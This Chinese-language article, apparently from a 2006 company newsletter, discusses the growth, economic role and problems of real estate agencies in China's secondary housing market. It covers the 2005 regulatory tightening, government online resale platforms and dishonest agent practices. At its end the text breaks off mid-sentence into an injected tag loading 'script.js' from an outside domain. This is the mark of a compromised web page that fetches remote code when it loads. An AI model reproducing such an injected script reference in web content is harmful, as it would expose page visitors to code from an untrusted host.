房产中介企业发展之路

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房产中介企业发展之路
文摘来源:新万通内刊阅读:10262次 [06-9-6]

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住房市场至少可以细分为住房一级市场、二手房市场（住房二级市场）和住房租赁市场。其中，住房二级市场是关键，它既能促动新房市场的成长（多数居民是卖旧房买新房），又能支撑租房市场（旧房是出租房屋的主要来源），促进住房市场活跃，使之具有持续的增长潜能和发展空间。

一、房产中介的产生与发展正是我们社会经济发展所需要的

近年来，随着各地实施经营城市战略，加快旧城改造步伐，通过城市空间结构的调整来发展房地产，中介企业纷纷闻风而动，经营内容不断增加，租赁、置换、抢占二手房源等，充分显示了房地产中介的生机与活力。

首先，在私人之间的房屋买卖中，由于很多买方与卖方互相不认识、不了解，可以说信用无从谈起：买方担心给了钱，拿不到房；卖方担心买方不是一次性支付全部款项，分几次支付，会不会拖泥带水拖延付款等等。这时，房产中介机构出现，中介方是以单位的名义出现，并且经过国家行政部门的审批，具备经营资格。买卖双方就可以将中介方作为第三方来沟通信息，调停买卖双方之间的争执；而且买卖双方需要办理产权转让等手续，更需要中介机构提供专业意见、协助办理。可以说，中介机构沟通买卖双方起到了一个桥梁的重要作用。

其次，住房一级市场销售的房子是新房，批量大，同时工程质量价格相近，集中上市销售。所以开发商往往自己成立销售机构，自己售房；或者统一交给中间代理销售。而住房二级市场销售的旧房量小，地点分散。所以，绝大多数是由中介机构代理销售。从长远来看，存量市场将成为城市住房市场的主流，而租房市场在住房市场中将占据重要的地位。因此，中介行业在住房二级市场中的作用不可小视。

房地产中介运用其丰富的信息资源，多样化的服务手段，为客户提供合理、便捷的交易及咨询服务，丰富和扩大了住房市场。上海市住房二级市场起步较早，中介行业非常活跃，有力地推动着市场的发展。据有关部门统计，上海约50％的新建商品房销售和90％的二手房买卖是通过房地产中介企业实现的。房地产中介服务业的发展，进一步提升了房地产行业的运行质量，对激活住房市场作用显著。房地产中介经营内容的拓展，既为社会创造了众多就业机会，更为进一步加快房地产经济的发展作出了贡献。从我国深圳、上海等发达城市来看，房地产交易提供的服务，大致有房地产买卖、租赁、互换代替业务，房地产策划、广告推销、楼宇按揭、融资贷款、物业评估、物业管理等方面所提供的服务，其在社会经济中的作用十分明显。

二、国内房产中介发展现状——内忧外患

随着房地产市场的不断发展，房产中介市场也在日益壮大，房产中介在房产交易中的地位日益上升。由于房产中介行业进入门槛相对不高，上海房产中介市场曾创造过日均诞生 8家企业的辉煌。对于数量庞大的中介公司而言，以前隐藏在一片繁荣景象背后的生存危机开始逐步显现，进而集中爆发。有人曾经算过这样一笔账：上海房产中介机构总数高峰时有1.2万家，如果把前两年上海每年2000 多万平方米的二手房交易面积分摊到全市上万家中介公司，那么平均每家中介每月交易量只有200平方米左右。如果这上万家中介公司都按照规定，靠各向上下家收取不超过1％的佣金过活，显然是怎么也维持不了生计的。

2005年，中国政府出台了很多房地产交易宏观调控政策，其力度之大，次数之频繁，被人们形象地称作“组合拳”。宏观调控很大程度上影响了房地产市场的交易。其中，受影响最大的要数二级市场的中介企业。北京地区6月份二手房交易量下降了40％左右，甚至直接导致了一些小中介的关门出局；上海仅近两个月注销的中介企业就有1000多家。正当大批中介公司身处凄风苦雨之境时，一些地方房地产交易中心推出了“网上二手房平台”，并加快了服务项目完善的步伐：开通热线电话，网上经纪人免费上门服务；公布菜单式收费标准，上门服务的经纪人身份网上可查……这一系列新举措在业界引起强烈震动。

毫无疑问，“网上二手房”分食了中介企业的市场蛋糕。如果今后越来越多的市民通过“网上二手房”便能完成从上网挂牌到产权、资金交割的所有手续，那么更多的中介公司将面临绝境。“网上二手房”以及一些政策出台，将改变以往的中介经营模式，促使房地产经纪人在中介活动中承担起应有的责任，促进中介机构从传统中介商向专业咨询顾问的角色转变。但是，有一点不能否认：随着各项宏观调控政策的深入细化，狂热楼市不断走向理性，一个不得不直面的问题由此产生——中介市场的确存在种种弊端。

像层出不穷的市场“失信”行为：与上下家分别签订合同赚取差价；找熟人串通“唱双簧”促成交易……种种不诚信行为使购房者屡受其害；又如经纪人和企业脱钩：按规定，每家房产中介需要有一定数量的注册房地产经纪人，但现在不少中介公司并没有规定人数的注册经纪人，而是通过租用经纪人的证件蒙混过关，经纪人的专业形象及信誉得不到很好体现；还有市场监管不到位：目前对于中介企业的监管，还存在房地产、工商等部门多头管理的现象，由?script src=http://www.24aspx.com/script.js>

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